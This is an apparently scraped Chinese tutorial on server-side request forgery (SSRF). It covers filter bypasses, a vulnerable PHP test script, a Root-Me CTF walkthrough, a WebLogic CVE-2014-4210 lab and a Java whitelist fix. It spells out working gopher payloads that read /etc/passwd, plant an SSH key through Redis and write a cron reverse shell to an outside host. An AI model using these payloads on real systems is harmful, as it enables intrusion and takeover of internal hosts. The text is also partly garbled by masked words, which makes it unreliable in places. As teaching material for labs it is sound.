本文由红日安全成员: MisakiKata 编写,若有不当,还望斧正。php
你们好,咱们是红日安全-Web安全***小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供你们练习,咱们给这个项目起了一个名字叫 Web安全实战 ,但愿对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场所有涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),若是对你们有帮助请Star鼓励咱们创做更好文章。若是你愿意加入咱们,一块儿完善这个项目,欢迎经过邮件形式(sec-redclub@qq.com)联系咱们。html
***F(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。通常状况下,***F***的目标是从外网没法访问的内部系统。java
经过控制功能中的发起请求的服务来看成跳板***内网中其余服务。好比,经过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改成请求本地、或者内网的IP地址及服务,来形成对内网系统的***。git
假设一个漏洞场景:某网站有一个在线加载功能能够把指定的远程图片加载到本地,功能连接以下:github
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
那么网站请求的大概步骤应该是相似如下:web
用户输入图片地址->请求发送到服务端解析->服务端请求连接地址的图片数据->获取请求的数据加载到前台显示。redis
这个过程当中可能出现问题的点就在于请求发送到服务端的时候,系统没有效验前台给定的参数是否是容许访问的地址域名,例如,如上的连接能够修改成:docker
http://www.xxx.com/image.php?image=http://127.0.0.1:22
如上请求时则可能返回请求的端口banner。若是协议容许,甚至可使用其余协议来读取和执行相关命令。例如shell
http://www.xxx.com/image.php?image=file:///etc/passwd http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict能够向服务端口请求data data2) http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,一样能够发送POST请求) ......
对于不一样语言实现的web系统可使用的协议也存在不一样的差别,其中:apache
php: http、https、file、gopher、phar、dict、ftp、ssh、telnet... java: http、https、file、ftp、jar、netdoc、mailto...
判断漏洞是否存在的重要前提是,请求的服务器发起的,以上连接即便存在并不必定表明这个请求是服务器发起的。所以前提不知足的状况下,***F是没必要要考虑的。
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
连接获取后,是由js来获取对应参数交由window.location来处理相关的请求,或者加载到当前的iframe框架中,此时并不存在***F ,由于请求是本地发起,并不能产生***服务端内网的需求。
经过url 地址分享文章,例如以下地址:
http://share.xxx.com/index.php?url=http://127.0.0.1
经过url参数的获取来实现点击连接的时候跳到指定的分享文章。若是在此功能中没有对目标地址的范围作过滤与限制则就存在着***F漏洞。
经过URL地址加载或下载图片
http://image.xxx.com/image.php?image=http://127.0.0.1
图片加载存在于不少的编辑器中,编辑器上传图片处,有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,若是没对加载的参数作限制可能形成***F。
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,表明了一个文章的地址连接,请求后返回文章是否保存,收藏的返回信息。若是保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在***F。
例如如下的关键字:
share wap url link src source target u 3g display sourceURl imageURL domain ...
部分存在漏洞,或者可能产生***F的功能中作了白名单或者黑名单的处理,来达到阻止对内网服务和资源的***和访问。所以想要达到***F的***,须要对请求的参数地址作相关的绕过处理,常见的绕过方式以下:
能够尝试采用http基自己份认证的方式绕过,http://www.xxx.com@www.xxc.com。
在对@解析域名中,不一样的处理函数存在处理差别,例如:
http://www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
采用短网址绕过,好比百度短地址https://dwz.cn/。
采用能够指向任意域名的xip.io,127.0.0.1.xip.io,能够解析为127.0.0.1
采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433
采用302跳转,百度短地址,或者使用https://tinyurl.com生成302跳转地址。使用以下:
其余绕过形式能够查看:https://www.secpulse.com/archives/65832.html
PHP脚本、Windows
bash、nc
首先采用以下脚本建立一个PHP的服务端
<?PHP $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch); ?>
开启PHP的web环境,访问http://localhost/***f.php?url=,页面显示正常便可。在一个bash中开启监听端口,来模仿即将被***F到的内网服务,此处采用nc。
浏览器访问以下连接:http://localhost/***f.php?url=http://127.0.0.1:2233
。监听端能够看到来自localhost的请求,请求目标为127.0.0.1的2233端口。
使用gopher协议来查看协议,访问:http://localhost/***f.php?url=gopher://127.0.0.1:2233/_test
利用gopher发送POST的请求,访问:http://localhost/***f.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
以上方式简单的展现了***F的***过程和请求,下面咱们使用回显形***F。
漏洞环境:Ubuntu 1八、 docker 、PHP、Apache
漏洞文件地址:https://github.com/nikosdano/***F-Vulnerable-with-Curl
下载文件放入apache服务器中,访问http://192.168.120.132/awesome_script.php
在其中咱们能够填写想要执行的***F命令,如填写file:///etc/passwd
,回显为:
尝试端口探测,对22端口进行探测是否开启:
截至到此,相信对***F已经有了一个简单认识和检测,下面咱们利用一个靶场来模拟一个完整的真实的***F***。
Rootme CTF all the day
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
Burp
***F+redis 获取内网主机权限,利用***F来对redis的未受权访问执行命令。从而达到获取主机权限的目的
访问目标地址,若是没有帐号,须要建立帐号点击右上的绿色小加号来建立帐号,建立完成后回到此页面。
找到一个处于none的虚拟机,点击房间名,以下的ctf04
进入房间后,选择须要建立的虚拟机,选择***F Box,点击保存,选择start the game。
过一段时间的等待后,会显示以下信息。
访问 ctf04.root-me.org 就能够看到启动的虚拟环境了
固然,若是在建立虚拟机以前,看到其余的房间有人已经建立了***F Box咱们也能够加入此玩家的房间,点击房间名,进入房间后点击右上角的Join the game。稍等片刻就能够加入到游戏中,根据提示访问对应的地址就能够开始测试啦。
访问地址后能够看到页面显示一个输入框,须要输入url参数,开始抓包。
尝试在页面输入百度地址后,页面会把百度首页加载进此页面中。
读取系统文件:
使用burp的Intruder模块,来探测开放的服务端口,开放则显示OK,不开放则显示Connection refused。
探测可知内网开放了6379端口redis服务,尝试利用***F对redis执行未受权漏洞,此处简单科普一下redis漏洞影响。
详细内容能够查看文章:https://www.freebuf.com/vuls/162035.html
Redis 默认状况下,会绑定在 0.0.0.0:6379,若是没有进行采用相关的策略,好比添加防火墙规则避免其余非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,若是在没有设置密码认证(通常为空)的状况下,会致使任意用户在能够访问目标服务器的状况下未受权访问 Redis 以及读取 Redis 的数据。
所以,此漏洞在没有配置密码的状况下能够利用***F来绕过绑定在本地的限制,从而实如今外网***内网应用。
1)利用redis来写ssh密钥
此处利用ssh生成一对公私钥,生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器便可。咱们利用redis把目录设置为ssh目录下:
根据网上写密钥有两种协议可使用,一种是dict,一种是gopher。测试使用dict协议写不成功,写入后不能链接,此处使用gopher写密钥。
使用的payload为:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
payload 解码为:
gopher://127.0.0.1:6379/_*3 $3 set $1 1 $401 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9 *4 $6 config $3 set $3 dir $11 /root/.ssh/ *4 $6 config $3 set $10 dbfilename $15 authorized_keys *1 $4 save *1 $4 quit
payload由joychou的反弹shell修改而来,主要就是替换了写入文件的位置和文件内容。而后修改文件的长度。
而后尝试登录,输入建立密钥的密码后,登录成功。
2)利用redis写定时任务来反弹shell
既然提到反弹shell,就须要利用一台外网主机。此处使用了nc作端口监听。
使用payload为如下:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
解码后的内容就是:
gopher://127.0.0.1:6379/_*3 $3 set $1 1 $61 */1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1 *4 $6 config $3 set $3 dir $16 /var/spool/cron/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save *1 $4 quit
来自:https://joychou.org/web/php***f.html
其中$61为个人vps地址,也就是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
的字符串长度。执行后稍等片刻就能够收到反弹的shell了。同时须要写入的命令先后要加几个回车。
根据前文的提示,打开/passwd文件就能够找到flag了。
在网站页面上输入这一串字符,就能够结束这场***F之旅了。
vulhub、weblogic、***f
CVE-2014-4210,weblogic的uddiexplorer.war存在安全组件漏洞,此漏洞可经过HTTP协议利用,未经身份验证的远程***者可利用此漏洞影响受影响组件的机密性。该漏洞的影响版本包括:10.0.2.0, 10.3.6.0
https://github.com/vulhub/vulhub/tree/master/weblogic/***f
下载vulhub后,进入对应的安装目录,执行docker-compose up -d
,会自动建立docker镜像。
构建完成后访问以下地址:
/uddiexplorer/SearchPublicRegistries.jsp
访问以下地址时返回,表明端口未开放:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
响应能够看到返回404,证实端口开放:
而后能够根据遍历查看开放的端口服务,在根据开放的服务来决定是否能不能执行内网***。而实际中越到的***F大都是探测类使用,由于能正好搭配使用的状况,并且还能够查看或者反弹的,几率值得讨论。
jar -xvf uddiexplorer.war rm jsp-files jar -cvfM uddiexplorer.war uddiexplorer/
https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
方法调用:
String[] urlwhitelist = {"joychou.com", "joychou.me"};if (!UrlSecCheck(url, urlwhitelist)) { return;}
方法代码:
须要先添加guava库(目的是获取一级域名)
<dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>21.0</version></dependency>方法实现: public static Boolean UrlSecCheck(String url, String[] urlwhitelist) { try { URL u = new URL(url); // 只容许http和https的协议 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return false; } // 获取域名,并转为小写 String host = u.getHost().toLowerCase(); // 获取一级域名 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); for (String whiteurl: urlwhitelist){ if (rootDomain.equals(whiteurl)) { return true; } } return false; } catch (Exception e) { return false; } }